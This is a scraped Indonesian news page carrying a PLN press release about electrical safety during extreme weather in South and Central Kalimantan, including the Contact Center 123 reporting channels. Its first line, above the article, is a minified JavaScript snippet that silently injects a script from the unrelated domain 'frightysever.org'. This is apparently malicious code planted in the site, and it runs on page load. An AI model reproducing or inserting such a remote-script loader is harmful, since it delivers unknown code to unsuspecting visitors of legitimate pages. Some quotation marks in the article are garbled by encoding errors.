(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Cuaca ekstrem yang saat ini tengah melanda hampir seluruh wilayah di Indonesia, tidak terkecuali Provinsi Kalimantan Selatan dan Kalimantan Tengah, menjadi perhatian khusus bagi PT PLN (Persero) Unit Induk Wilayah Kalimantan Selatan dan Kalimantan Tengah (PLN UIW Kalselteng). Pasalnya, cuaca ekstrem berupa hujan disertai angin kencang dapat berdampak terhadap keselamatan dan keamanan kelistrikan.
Manager Komunikasi PLN UIW Kalselteng, Syamsu Noor, mengimbau masyarakat untuk segera menghubungi pihaknya apabila menemukan potensi kejadian yang mengancam keselamatan dan keamananan kelistrikan akibat cuaca ekstrem yang saat ini terjadi.
“Kami mengajak masyarakat untuk bersama-sama memperhatikan lingkungan sekitar, apabila menemukan hal-hal seperti kabel jaringan PLN yang hampir menyentuh tanah, Meter Circuit Breaker yang terbuka dan terkena air, dapat langsung menghubungi Contact Center 123,†ungkap Syamsu.
Cuaca ekstrem dengan curah hujan tinggi dan angin kencang berpotensi menyebabkan pohon tumbang dan menimpa jaringan PLN. “Apabila menemukan kejadian yang demikan kami mengimbau masyarakat untuk segera menghubungi Contact Center PLN 123 dan menjauhi lokasi kejadian. Jangan mebersihkan puing-puing ataupun menyentuh tiang PLN hingga petugas kami datang ke lokasi,†jesanya.
Contact Center PLN 123 dapat diakses oleh Pelanggan PLN melalui saluran telekomunikasi telepon dengan menekan atau dial ke nomor 123 atau melalui telepon genggan (handphone) dengan menekan kode area disusul 123 (Kode Area Telepon + 123).
Layanan Contact Center PLN 123 juga dapat diakses melalui Twitter @pln_123, Facebook PLN 123, Email pln123@pln.co.id, website www.pln.co.id dan aplikasi PLN Mobile.
Syamsu pun mengajak masyarakat untuk menjaga keselamatan dan keamanan diri dengan menghindari berdekatan atau bersentuhan langsung dengan instalasi listrik ketika hujan atau dalam keadaan basah. “Kerena air dapat menjadi penghantar listrik, maka kami mengimbau untuk menghindari berteduh atau bersandar di dekat instalasi listrok seperti tiang listrik, gardu, panel PJU, dan lain sebagainya,†tutup Syamsu. (kanalkalimantan.com/rilis)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.